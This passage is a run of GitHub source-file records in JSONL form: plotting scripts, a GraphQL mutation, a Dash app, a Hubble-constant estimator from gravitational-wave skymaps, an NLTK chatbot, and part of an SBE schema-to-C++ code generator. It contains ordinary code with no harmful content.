kind=\"kde\", height=7, space=0,color=\"darkviolet\").plot_joint(plt.scatter,\r\n c='w',s=30,linewidth=1,marker='+')\r\n\r\nsns.jointplot(x=data['Số người tiếp cận được'], \r\n y=data['Khách hàng tiềm năng'],\r\n kind=\"kde\", height=7, \r\n space=0,\r\n color=\"darkviolet\").plot_joint(plt.scatter,\r\n c='w',s=30,linewidth=1,marker='+')","repo_name":"cafechungkhoan/chu_gia","sub_path":"joinplot.py","file_name":"joinplot.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"vi","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"41189278072","text":"from graphene import ObjectType, Mutation\nfrom graphene import String, Decimal, List, Boolean\n\nfrom ...services.product_service import edit_product\nfrom ...middleware import authentication_required\n\n\nclass EditProduct(Mutation):\n class Arguments:\n name = String(required=True)\n images = List(String, required=True)\n price = Decimal(required=True)\n percentage = Decimal(required=True)\n description = String(required=True)\n short_description = String(required=True)\n ingredients = List(String, required=True)\n path = String(required=True)\n smoothies = List(List(String), required=True)\n\n result = Boolean()\n\n @authentication_required()\n def mutate(root, info, name=None, images=None, price=None, percentage=None, description=None, short_description=None, ingredients=None, path=None, smoothies=None):\n result = edit_product(\n name=name, \n images=images, \n price=price, \n percentage=percentage,\n description=description, \n short_description=short_description, \n ingredients=ingredients, \n path=path, \n smoothies=smoothies\n )\n return { 'result': result }\n\n\nclass Mutation(ObjectType):\n edit_product = EditProduct.Field()\n","repo_name":"jrdnbrj/cheesy-server","sub_path":"src/resolvers/product/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31362081296","text":"import escreve as le\r\n\r\nimg_entrada = 'img_in.jpeg'\r\n\r\nimg = le.criaImagemEditavel(img_entrada)\r\nmain_color = le.corDominante()\r\nx, y = le.localizaLugarTexto(main_color)\r\n\r\ntexto = \"Escrevendo na imagem aqui de boas. Bem de boas.\"\r\nfonte = \"arial.ttf\"\r\ntamanho = 55\r\ncor = (240, 240, 240)\r\n\r\nle.escreveImagem(img, x, y, texto, cor, fonte, tamanho)\r\n \r\n","repo_name":"Aquiles-b/write-on-photo","sub_path":"codigo_exemplo.py","file_name":"codigo_exemplo.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10797959178","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nimport numpy as np\nimport pandas as pd\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\ndf = pd.read_csv(\"data.csv\")\n\n#Temporary figure, change later\ndef plot_temp(id_temp): \n\treturn dcc.Graph(\n\t\tid=id_temp,\n\t\tfigure={\n\t\t\t'data': [\n\t {'x': [1, 2, 3], 'y': [4, 1, 2], 'type': 'bar', 'name': 'SF'},\n\t {'x': [1, 2, 3], 'y': [2, 4, 5], 'type': 'bar', 'name': u'Montréal'},\n\t ],\n\t 'layout': {\n\t 'title': id_temp\n\t }\n\t }\n\t )\n\napp = dash.Dash(__name__)\n\ndef plot1(df):\n\tagg = df[\"status_group\"].value_counts()\n\tstatus_group = list(agg.index)\n\tstatus_count = agg.tolist()\n\tfig = go.Figure(go.Bar(x=status_group,y=status_count))\n\treturn dcc.Graph(figure=fig)\n\napp.layout = html.Div(children = [\n\t\t html.Div([plot1(df)],className=\"tabel\"),\n\t\t html.Div([plot_temp(\"2\")],className=\"tabel\"),\n\t\t html.Div([plot_temp(\"3\")],className=\"tabel\"),\n\t\t html.Div([plot_temp(\"4\")],className=\"tabel\"),\n\t\t html.Div([plot_temp(\"5\")],className=\"tabel\"),\n\t\t html.Div([plot_temp(\"6\")],className=\"tabel\")\n\t ]\n )\n#Komentar\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"vinson2233/Dash-Plotly-Practice","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9557207606","text":"import numpy as np\nfrom scipy.interpolate import interp1d\nfrom scipy.stats import norm\nfrom astropy.cosmology import FlatLambdaCDM \nimport astropy.units as u\nimport healpy as hp\n\ndef dist_from_skymap(fname,ra, dec, num_samples = 512):\n \"\"\"\n Parameters:\n fname (string):\n name of the skymap file\n ra (float):\n RA of the counterpart (in degrees)\n dec (float):\n DEC of the counterpart (in degrees)\n num_samples (int, optional):\n number of distance samples to return\n \"\"\"\n fname = str(fname)\n skymap, distmu, distsigma, distnorm = hp.read_map(fname,field=[0,1,2,3])\n npix = len(distmu)\n nside = hp.npix2nside(npix)\n pixel = hp.ang2pix(nside, np.pi/2.0-dec*np.pi/180.0,ra*np.pi/180.0)\n mu = distmu[pixel]\n sigma = distsigma[pixel]\n num = 0\n post_samps = np.array([])\n while num < num_samples:\n lkhd_samps = sigma*np.random.randn(num_samples*2)+mu\n prior_wts = lkhd_samps**2\n rs = np.random.uniform(low=0.0, high = max(prior_wts),size = prior_wts.size)\n sel = rs < prior_wts\n post_samps = np.append(post_samps,lkhd_samps[sel])\n post_samps[post_samps<0] = 0.0\n num = len(post_samps)\n return post_samps[0:num_samples]\n\ndef dist_from_datfile(fname, distance_name = 'distance'):\n \"\"\"\n Parameters:\n fname (string): name of the posterior sample (ASCII) file\n distance_name (string): name of the column containing luminosity distance (Mpc) in the file\n \"\"\"\n fname = str(fname)\n distance_name = str(distance_name)\n posts = np.genfromtxt(fname, names=True)\n return posts[distance_name]\n\n\ndef setup_cosmo(Om0 = 0.3, H0_default = 70.0, z_min = 0.0, z_max = 0.1, z_res = 0.0005):\n \"\"\"\n Parameters:\n\n Om0 (float, optional): \n the value of Omega_matter today for the input flat cosmology, default is 0.3 \n \"\"\"\n cosmo = FlatLambdaCDM(H0 = H0_default, Om0 = Om0)\n z_interp = np.linspace(z_min,z_max,np.round((z_max-z_min)/z_res))\n z_at_dL = interp1d(cosmo.luminosity_distance(z_interp).to('Mpc').value, z_interp)\n return z_at_dL\n\ndef measure_H0(distance_posterior, z_mean, z_std,z_at_dL, H0_default,\n hmin=10.0, hmax=250.0, h0_res = 1.0):\n \"\"\"Calculate H0 posterior\n\n Parameters:\n\n distance_posterior (array):\n distance posterior samples\n\n z_mean (float):\n observed redshift of (the host galaxy to) the counterpart, corrected by peculiar velocities\n\n z_std (float):\n standard deviation of the redshift measurement\n \n z_at_dL (function):\n function that returns redshift value for a given luminosity distance in Mpc\n\n H0_default (float):\n default H0 value in km/s/Mpc used for z_at_dL function\n\n hmin (float, optional):\n minimum of H0 prior (km/s/Mpc); default 10\n\n hmax (float, optional):\n maximum of H0 prior (km/s/Mpc); default 250\n\n h0_res (float, optional):\n resolution of the H0 grid on which to evaluate the posterior; default is 1 km/s/Mpc precision\n\n\n Returns:\n the posterior PDF of H0, using a flat prior between hmin and hmax\n \"\"\"\n hs = np.linspace(hmin,hmax,np.round((hmax-hmin)/h0_res))\n lh = np.zeros_like(hs)\n for i, h in enumerate(hs):\n lh[i] = np.mean(norm.pdf(z_at_dL(distance_posterior)*h/H0_default,loc=z_mean, scale=z_std))\n lh = lh/np.trapz(lh,hs)\n return hs, lh\n\ndef measure_H0_from_skymap(fname, z_mean, z_std,ra, dec, Om0, H0_default, z_res, hmin, hmax, h0_res):\n distance_posterior = dist_from_skymap(fname,ra, dec, num_samples = 128)\n z_min = np.maximum(np.amin(distance_posterior)*hmin/3e5-0.1,0.0) #go down to z-0.1 below just in case\n z_max = np.amax(distance_posterior)*hmax/3e5+0.1 #go up to z+0.1 just in case\n z_at_dL = setup_cosmo(Om0, H0_default, z_min, z_max, z_res)\n hs, lh = measure_H0(distance_posterior, z_mean, z_std, z_at_dL, H0_default, hmin, hmax, h0_res)\n return hs, lh\n\ndef measure_H0_from_datfile(fname, distance_name, z_mean, z_std, Om0, H0_default, z_res, hmin, hmax, h0_res):\n distance_posterior = dist_from_datfile(fname,distance_name)\n z_min = np.maximum(np.amin(distance_posterior)*hmin/3e5-0.1,0.0) #go down to z-0.1 below just in case\n z_max = np.amax(distance_posterior)*hmax/3e5+0.1 #go up to z+0.1 just in case\n z_at_dL = setup_cosmo(Om0, H0_default, z_min, z_max, z_res)\n hs, lh = measure_H0(distance_posterior, z_mean, z_std, z_at_dL, H0_default, hmin, hmax, h0_res)\n return hs, lh\n","repo_name":"scottcoughlin2014/gwcosmology","sub_path":"gwcosmology/ho.py","file_name":"ho.py","file_ext":"py","file_size_in_byte":4633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"2500699911","text":"from nltk.chat.util import Chat\nimport ast\nclass NLTKChatbot:\n def __init__(self,filename):\n self.d={}\n data=open(filename).read().split('\\n')\n questions,answers=[],[]\n for obj in data:\n temp=obj.split(\"#\")\n questions.append(temp[0])\n answers.append(temp[1])\n self.paired_data=[]\n for i in range(len(questions)):\n temp=answers[i].split('$')\n temp=[ans+'$'+temp[1] for ans in temp[0].split('\\t')]\n self.paired_data.append([questions[i],temp])\n def opener(self):\n self.d['opener']=True\n def start_chatbot(self): \n self.engine=Chat(self.paired_data)\n def execute_method(self,method_name):\n exec(compile(ast.parse('self.'+method_name+'()'),filename=\"\",mode=\"exec\"))\n def generate_response(self,question):\n response=self.engine.respond(question).split('$')\n method_name=response[1]\n response=response[0]\n self.execute_method(method_name)\n return response","repo_name":"ShubhamDeshpande/FinalDocbot","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"70494314967","text":"import xml.etree.ElementTree as ET\nimport logging\n\nfrom MessageGen import MessageGen\nfrom Metadata import Metadata\nfrom EnumGen import EnumClassGen\nfrom GroupGen import GroupGen\nfrom VariableLengthDataGen import VariableLengthDataGen\nfrom FileGen import ContentHandler\nfrom FileGen import Indentaion\nfrom FileGen import *\n\nclass Parser:\n\tdef get_null_value_of_primitive(self, type):\n\t\tnull_value = Metadata.defult_null[type]\n\t\t# if minValue or maxValue or nullValue attrib defined by user, override\n\t\tif('nullValue' in type):\n\t\t\tnull_value = type['nullValue']\n\t\treturn null_value\n\n\n\tdef get_numeric_attrib_of_primitive(self, type):\n\t\tmin_value = Metadata.defult_minimum[type]\n\t\tmax_value = Metadata.defult_maximum[type]\n\t\tnull_value = Metadata.defult_null[type]\n\t\t# if minValue or maxValue or nullValue attrib defined by user, override\n\t\tif('minValue' in type):\n\t\t\tmin_value = type['minValue']\n\t\tif('maxValue' in type):\n\t\t\tmax_value = type['maxValue']\n\t\tif('nullValue' in type):\n\t\t\tnull_value = type['nullValue']\n\t\treturn min_value, max_value, null_value\n\n\n\t#primitive_types are numeric\n\tdef is_numeric(self, primitive_type, attrib):\n\t\tif (primitive_type in Metadata.primitive_types):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\t#primitive type char with length defiend and length == 1 is string\n\tdef is_string_field(self, primitive_type, attrib):\n\t\tif ((primitive_type == 'char') and ('length' in attrib)):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef is_const_type(self, field_attrib):\n\t\tif(('presence' in field_attrib) and (field_attrib['presence'] == 'constant')):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\t#name,primitiveType,minValue,maxValue,nullValue,length,characterEncoding,presence\n\t#parse all type in types section\n\tdef parse_all_types(self, types):\n\t\tfor type in types.iter('type'):\n\t\t\ttype_name = type.attrib['name']\n\t\t\tself.user_defined_types.update({type_name : type.attrib})\n\n\n\tdef update_enum_attrib(self, type):\n\t\titems = type.items()\n\t\tenum_attrib = {}\n\t\tfor (key, value) in items:\n\t\t\tenum_attrib[key] = value\n\t\t\n\t\tencoding_type = type.attrib['encodingType']\n\t\tif encoding_type in Metadata.primitive_types:\n\t\t\treturn enum_attrib\n\t\telse:\n\t\t\tif (encoding_type in self.user_defined_types):\n\t\t\t\ttype_attrib = self.user_defined_types[encoding_type]\n\t\t\t\tenum_attrib.update(type_attrib)\n\t\t\telse:\n\t\t\t\tlogging.error('%s is not defined in types', encoding_type)\n\t\t\t\texit()\n\n\t\tlogging.debug('enum_attrib %s', enum_attrib)\n\t\treturn enum_attrib\n\n\n\tdef update_field_attrib(self, field):\n\t\titems = field.items()\n\t\tfield_attrib = {}\n\t\tfor (key, value) in items:\n\t\t\tfield_attrib[key] = value\n\n\t\tfield_type = field.attrib['type']\n\n\t\tif (field_type in Metadata.primitive_types):\n\t\t\treturn field_attrib\n\t\telse:\n\t\t\tif (field_type in self.user_defined_types):\n\t\t\t\ttype_attrib = self.user_defined_types[field_type]\n\t\t\t\tfield_attrib.update(type_attrib)\n\t\t\telse:\n\t\t\t\tlogging.error('%s is not defined in types', field_type)\n\t\t\t\texit()\n\n\t\tlogging.debug('field_attrib %s', field_attrib)\n\t\treturn field_attrib\n\n\n\tdef update_type_attrib(self, field):\n\t\titems = field.items()\n\t\tfield_attrib = {}\n\t\tfor (key, value) in items:\n\t\t\tfield_attrib[key] = value\n\n\t\tl = lambda attrib: attrib['type'] if('type' in attrib)\\\n\t\t else ( attrib['primitiveType'] if 'primitiveType' in attrib else None)\n\t\tfield_type = l(field.attrib)\n\n\t\tif (field_type in Metadata.primitive_types):\n\t\t\treturn field_attrib\n\t\telse:\n\t\t\tif (field_type in self.user_defined_types):\n\t\t\t\ttype_attrib = self.user_defined_types[field_type]\n\t\t\t\tfield_attrib.update(type_attrib)\n\t\t\telse:\n\t\t\t\tlogging.error('%s is not defined in types', field_type)\n\t\t\t\texit()\n\n\t\tlogging.debug('field_attrib %s', field_attrib)\n\t\treturn field_attrib\n\n\n\tdef get_primitive_encoding_type(self, enum_attrib):\n\t\tif 'primitiveType' in enum_attrib:\n\t\t\treturn enum_attrib['primitiveType']\n\t\telif 'encodingType' in enum_attrib:\n\t\t\treturn enum_attrib['encodingType']\n\t\telse:\n\t\t\tlogging.error('type or primitiveType is not defined in %s', enum_attrib['name']) \n\t\t\texit()\n\n\n\tdef get_primitive_type(self, field_attrib):\n\t\tif 'primitiveType' in field_attrib:\n\t\t\treturn field_attrib['primitiveType']\n\t\telif 'type' in field_attrib:\n\t\t\treturn field_attrib['type']\n\t\telse:\n\t\t\tlogging.error('type or primitiveType is not defined in %s', field_attrib['name']) \n\t\t\texit()\n\n\tdef get_enum_null_value(self, enum_attrib):\n\t\t#defined anywhere in the fields\n\t\tenum_name = enum_attrib['name']\n\t\txpath = \".//*[@name='\" + enum_name + \"']\"\n\t\tfield = self.root.find(xpath)\n\n\t\tprimitive_encoding_type = self.get_primitive_encoding_type(enum_attrib)\n\t\t(min_value, max_value, null_value) = self.get_numeric_attrib_of_primitive(primitive_encoding_type)\n\t\tif 'nullValue' in field:\n\t\t\tnull_value = field['nullValue']\n\n\t\treturn 'nullValue', null_value\n\n\tdef generate_enum(self, type):\n\t\tenum_values = []\n\t\tfor field in type:\n\t\t\tenum_values.append((field.attrib['name'], field.text))\t\t\n\n\t\tenum_name = type.attrib['name']\n\t\tencoding_type = type.attrib['encodingType']\n\t\t#if type is user defined\n\t\tenum_attrib = self.update_enum_attrib(type = type)\n\t\tprimitive_encoding_type = self.get_primitive_encoding_type(enum_attrib)\n\t\tenum_values.append(self.get_enum_null_value(enum_attrib))\n\t\thandler = ContentHandler()\n\t\tenum_file = EnumClassGen(handler, enum_name, Metadata.c_field_types[primitive_encoding_type]\\\n\t\t\t, enum_values, self.namespace)\n\t\tself.user_defined_enums.append(enum_name)\n\n\t\tsystem_includes = [\"cstdint\", \"string\", \"string_view\", \"ostream\", \"cstring\"]\n\t\thandler.user_includes = []\n\t\tindentation = Indentaion(0)\n\t\tFileGen(indentation = indentation, out_folder = self.out_folder\\\n\t\t\t, file_name = enum_name, namespace = self.namespace\\\n\t\t\t, system_includes = system_includes, handler = handler)\n\n\n\t# read all enum in types\n\tdef parse_all_enums(self, types):\n\t\tfor type in types.iter('enum'):\n\t\t\tself.generate_enum(type)\n\n\n\tdef get_composite_type(self, type):\n\t\tif('type' in type.attrib):\n\t\t\treturn type.attrib['type']\n\t\telif('primitiveType' in type.attrib):\n\t\t\treturn type.attrib['primitiveType']\n\n\n\tdef get_enum_const_value(field):\n\t\tif 'valueRef' in field.attrib:\n\t\t\treturn field.attrib['valueRef'].split('.')[1]\n\t\telse:\n\t\t\treturn field.text\n\n\tdef get_enum_type(field):\n\t\tif 'valueRef' in field.attrib:\n\t\t\treturn field.attrib['valueRef'].split('.')[0]\n\t\telse:\n\t\t\treturn field.attrib['type']\n\n\n\tdef generate_composite_type(self, field_gen, composite_name, type, prvious_type_name):\n\t\ttype_name = type.attrib['name']\n\t\tcomposite_type = self.get_composite_type(type)\n\t\tincludes = []\n\t\t\n\t\t#enum\n\t\tif('valueRef' in type.attrib.keys()):\n\t\t\tcomposite_type = Parser.get_enum_type(type)\n\n\t\tif(composite_type in self.user_defined_enums):\n\t\t\tincludes.append(composite_type)\n\t\t\tif(self.is_const_type(type.attrib)):\n\t\t\t\tlogging.debug('const enum field: %s', type_name)\n\t\t\t\tfield_gen.gen_composite_const_enum_field_def(message_name = composite_name, field_type = composite_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name\\\n\t\t\t\t\t, value = Parser.get_enum_const_value(type))\n\t\t\t\treturn type_name, includes\n\t\t\telse:\n\t\t\t\tlogging.debug('enum field: %s', type_name)\n\t\t\t\tnull_value = 0\n\t\t\t\tfield_gen.gen_composite_enum_field_def(message_name = composite_name, field_type = composite_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name\\\n\t\t\t\t\t, null = null_value)\n\t\t\t\treturn type_name, includes\n\t\t\n\t\tfield_attrib = self.update_type_attrib(field = type)\n\t\tprimitive_type = self.get_primitive_type(type.attrib)\n\t\tfield_type = Metadata.c_field_types[primitive_type]\n\n\t\t#string\n\t\tif(self.is_string_field(primitive_type, field_attrib)):\n\t\t\tif(self.is_const_type(type.attrib)):\n\t\t\t\tlogging.debug('const string field: %s', type_name)\n\t\t\t\tfield_gen.gen_composite_const_string_field_def(message_name = composite_name\\\n\t\t\t\t\t, field_type = field_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name, field_size = type.attrib['length']\\\n\t\t\t\t\t, value = type.text)\n\t\t\t\treturn type_name, includes\n\t\t\telse:\n\t\t\t\tlogging.debug('const string field: %s', type_name)\n\t\t\t\tfield_gen.gen_composite_string_field_def(message_name = composite_name\\\n\t\t\t\t\t, field_type = field_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name, field_size = type.attrib['length'])\n\t\t\t\treturn type_name, includes\n\t\t\n\t\t#numric\n\t\tif(self.is_numeric(primitive_type, type.attrib) == True):\n\t\t\tif(('presence' in type.attrib) and (type.attrib['presence'] == 'constant')):\n\t\t\t\tfield_gen.gen_composite_const_numeric_field_def(message_name = composite_name\\\n\t\t\t\t\t, field_type = field_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name\\\n\t\t\t\t\t, value = type.text)\n\t\t\t\treturn type_name, includes\n\t\t\telse:\n\t\t\t\t(min_value, max_value, null_value) = self.get_numeric_attrib_of_primitive(primitive_type)\n\t\t\t\tfield_gen.gen_composite_numeric_field_def(message_name = composite_name\\\n\t\t\t\t\t, field_type = field_type\\\n\t\t\t\t\t, field_name = type_name, prvious_field_name = prvious_type_name\\\n\t\t\t\t\t, min = min_value, max = max_value, null = null_value)\n\t\t\t\treturn type_name, includes\n\t\telse:\n\t\t\tlogging.error('field type or primitive type is not defined in: %s', type_name)\n\t\t\texit()\n\n\n\t# description is an optional attribute\n\tdef get_description(message):\n\t\tif 'description' in message.attrib:\n\t\t\treturn message.attrib['description']\n\t\telse:\n\t\t\treturn \"\"\n\n\tdef generate_composite_class(self, composite, handler):\n\t\tcomposite_name = composite.attrib['name']\n\t\tdescription = Parser.get_description(composite)\n\t\tmsg_gen = MessageGen(handler = handler, message_name = composite_name, message_id = 0\\\n\t\t\t, schema = self.schema_id, version = self.schema_version, description = description, namespace = self.namespace)\n\n\t\tmsg_gen.field_gen.gen_ostream_begin()\n\t\tprvious_type_name = \"\";\n\t\tfor type in composite.iter('type'):\n\t\t\tprvious_type_name, includes = self.generate_composite_type(msg_gen.field_gen, composite_name, type\\\n\t\t\t\t, prvious_type_name)\n\t\tmsg_gen.field_gen.gen_ostream_end()\n\t\tmsg_gen.field_gen.gen_constructor()\n\n\tdef generate_composite(self, composite):\n\t\tcomposite_name = composite.attrib['name']\n\t\tlogging.debug('generate_composite: %s ' , composite_name)\t\t\n\n\t\thandler = ContentHandler()\n\t\tself.generate_composite_class(composite, handler)\n\n\t\tsystem_includes = [\"cstdint\", \"string\", \"string_view\", \"ostream\", \"cstring\"]\n\t\tindentation = Indentaion(0)\n\t\tFileGen(indentation = indentation, out_folder = self.out_folder\\\n\t\t\t, file_name = composite_name, namespace = self.namespace\\\n\t\t\t, system_includes = system_includes, handler = handler)\n\n\n\tdef parse_all_composites(self, types):\n\t\tfor composite in types.iter('composite'):\n\t\t\tcomposite_name = composite.attrib['name']\n\t\t\tself.user_defined_composites.append(composite_name)\n\t\t\tself.generate_composite(composite)\n\n\n\tdef generate_message_field(self, field_gen, message_name, field, prvious_field_name, is_group, group_name):\n\t\tfield_name = field.attrib['name']\n\t\tfield_id = field.attrib['id']\n\t\tfield_type = field.attrib['type']\n\n\t\t#enum\n\t\tif(field_type in self.user_defined_enums):\n\t\t\tif(self.is_const_type(field.attrib)):\n\t\t\t\tlogging.debug('const enum field: %s', field_name)\n\t\t\t\tfield_gen.gen_message_const_enum_field_def(message_name = message_name, field_type = field_type\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, value = Parser.get_enum_const_value(field), is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\t\t\telse:\n\t\t\t\tlogging.debug('enum field: %s', field_name)\n\t\t\t\tnull_value = 0\n\t\t\t\tfield_gen.gen_message_enum_field_def(message_name = message_name, field_type = field_type\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, null = null_value, is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\n\t\t#composite\n\t\tif(field_type in self.user_defined_composites):\n\t\t\tlogging.debug('composite field: %s', field_name)\n\t\t\tfield_gen.gen_message_composite_field_def(message_name = message_name, field_type = field_type\\\n\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t, is_group = is_group, group_name = group_name)\n\t\t\treturn field_name\n\n\t\t# combine field.attrib and type attrib\n\t\tfield_attrib = self.update_field_attrib(field)\n\t\tprimitive_type = self.get_primitive_type(field_attrib)\n\n\t\t#string\n\t\tif(self.is_string_field(primitive_type, field_attrib)):\n\t\t\tif(self.is_const_type(field_attrib)):\n\t\t\t\tlogging.debug('const string field: %s', field_name)\n\t\t\t\tfield_gen.gen_message_const_string_field_def(message_name = message_name\\\n\t\t\t\t\t, field_type = Metadata.c_field_types[primitive_type]\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, field_size = field_attrib['length']\\\n\t\t\t\t\t, value = field.text, is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\n\t\t\telse:\n\t\t\t\tlogging.debug('const string field: %s', field_name)\n\t\t\t\tfield_gen.gen_message_string_field_def(message_name = message_name\\\n\t\t\t\t\t, field_type = Metadata.c_field_types[primitive_type]\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, field_size = field_attrib['length'], is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\n\t\t#numeric\n\t\tif(self.is_numeric(primitive_type, field_attrib) == True):\n\t\t\tlogging.debug('const numeric field: %s', field_name)\n\t\t\tif(('presence' in field_attrib) and (field_attrib['presence'] == 'constant')):\n\t\t\t\tfield_gen.gen_message_const_numeric_field_def(message_name = message_name\\\n\t\t\t\t\t, field_type = Metadata.c_field_types[primitive_type]\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, value = field.text, is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\t\t\telse:\n\t\t\t\tlogging.debug('numeric field: %s', field_name)\n\t\t\t\t(min_value, max_value, null_value) = self.get_numeric_attrib_of_primitive(primitive_type)\n\t\t\t\tfield_gen.gen_message_numeric_field_def(message_name = message_name\\\n\t\t\t\t\t, field_type = Metadata.c_field_types[primitive_type]\\\n\t\t\t\t\t, field_id = field_id, field_name = field_name, prvious_field_name = prvious_field_name\\\n\t\t\t\t\t, min = min_value, max = max_value, null = null_value, is_group = is_group, group_name = group_name)\n\t\t\t\treturn field_name\n\n\t\tlogging.error('field type or primitive type is not defined in: %s', field_name)\n\t\texit()\n\n\t\treturn field_name\n\n\n\tdef generate_group_fields(self, msg_gen, handler, group_gen, group, message_name):\n\n\t\tdata_gen = group_gen.GroupDataGen(handler = handler, indentation = msg_gen.indentation\n\t\t\t\t\t\t\t\t\t, namespace = self.namespace)\n\t\tgroup_name = group.attrib['name']\n\n\t\tdata_gen.field_gen.gen_ostream_group_begin(group_name, message_name)\n\t\tprvious_field_name = \"\"\n\t\tfor field in group:\n\t\t\tif (field.tag == 'field'):\n\t\t\t\tprvious_field_name = self.generate_message_field(data_gen.field_gen\\\n\t\t\t\t\t, group_name, field, prvious_field_name, is_group = True, group_name = group_name)\n\t\tdata_gen.field_gen.gen_ostream_group_end()\n\n\n\tdef update_group_size_encoding_types(group_size_encoding_type_entry, composite, index):\n\t\ttype = composite[index]\n\t\tdefault_type_name = Metadata.default_group_size_encoding_names[index].lower()\n\t\tif (type.attrib['name'].lower() != default_type_name):\n\t\t\tlogging.error('invalid group size encoding. expected %s confiured %s'\\\n\t\t\t\t, default_type_name.lower(), type.attrib['name'].lower())\n\t\t\texit()\n\t\telse:\n\t\t\tgroup_size_encoding_type = { \n\t\t\t\t\"name\": type.attrib['name'], \n\t\t\t\t\"type\" : Metadata.c_field_types[type.attrib['primitiveType']] \n\t\t\t}\n\t\t\tgroup_size_encoding_type_entry.append(group_size_encoding_type)\n\n\n\tdef parse_group_size_encoding_header(self, dimension_type):\n\t\tif(dimension_type in self.group_size_encoding_types.keys()):\n\t\t\treturn self.group_size_encoding_types[dimension_type]\n\t\telse:\n\t\t\txpath = \".//*[@name='\" + dimension_type + \"']\"\n\t\t\tcomposite = self.root.find(xpath)\n\t\t\tgroup_size_encoding_type = []\n\t\t\tfield_count = len(composite)\n\t\t\tif(field_count < 2):\n\t\t\t\tlogging.error('invalid group size encoding. expected at least 2 field')\n\t\t\t\texit()\n\t\t\telif(field_count == 2):\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 0)\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 1)\n\t\t\telif(field_count == 4):\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 0)\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 1)\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 2)\n\t\t\t\tParser.update_group_size_encoding_types(group_size_encoding_type, composite, 3)\n\t\t\n\t\t\tself.group_size_encoding_types.update({dimension_type : group_size_encoding_type})\n\t\t\tlogging.debug('update group size encoding. %s', group_size_encoding_type)\n\t\t\treturn group_size_encoding_type\n\n\n\tdef update_variable_data_encoding_types(variable_data_encoding_type_entry, composite, index):\n\t\ttype = composite[index]\n\t\tdefault_type_name = Metadata.default_variable_data_encoding_names[index].lower()\n\t\tif (type.attrib['name'].lower() != default_type_name):\n\t\t\tlogging.error('invalid variable data encoding. expected %s confiured %s'\\\n\t\t\t\t, default_type_name.lower(), type.attrib['name'].lower())\n\t\t\texit()\n\t\telse:\n\t\t\tvariable_data_encoding_type = { \n\t\t\t\t\"name\": type.attrib['name'], \n\t\t\t\t\"type\" : Metadata.c_field_types[type.attrib['primitiveType']] \n\t\t\t}\n\t\t\tvariable_data_encoding_type_entry.append(variable_data_encoding_type)\n\n\n\tdef parse_variable_data_encoding_header(self, type):\n\t\tif(type in self.variable_data_encoding_types.keys()):\n\t\t\treturn self.variable_data_encoding_types[type]\n\t\telse:\n\t\t\txpath = \".//*[@name='\" + type + \"']\"\n\t\t\tcomposite = self.root.find(xpath)\n\t\t\tvariable_data_encoding_type = []\n\t\t\tfield_count = len(composite)\n\t\t\tif(field_count < 2):\n\t\t\t\tlogging.error('invalid variable data encoding. expected at least 2 field')\n\t\t\t\texit()\n\t\t\telif(field_count == 2):\n\t\t\t\tParser.update_variable_data_encoding_types(variable_data_encoding_type, composite, 0)\n\t\t\t\tParser.update_variable_data_encoding_types(variable_data_encoding_type, composite, 1)\t\t\n\n\t\t\tself.variable_data_encoding_types.update({type : variable_data_encoding_type})\n\t\t\tlogging.debug('variable data encoding. %s', variable_data_encoding_type)\n\t\t\treturn variable_data_encoding_type\n\n\n\tdef generate_nested_group(self, msg_gen, handler, group, message_name, dimension):\n\t\tgroup_name = group.attrib['name']\n\t\tgroup_id = group.attrib['id']\n\t\tdimension_type = group.attrib['dimensionType']\n\t\t\n\t\tgroup_gen = GroupGen(handler = handler, indentation = msg_gen.indentation\\\n\t\t\t, name = group_name, id = group_id, message_name = message_name, namespace = self.namespace\\\n\t\t\t, dimension_type = 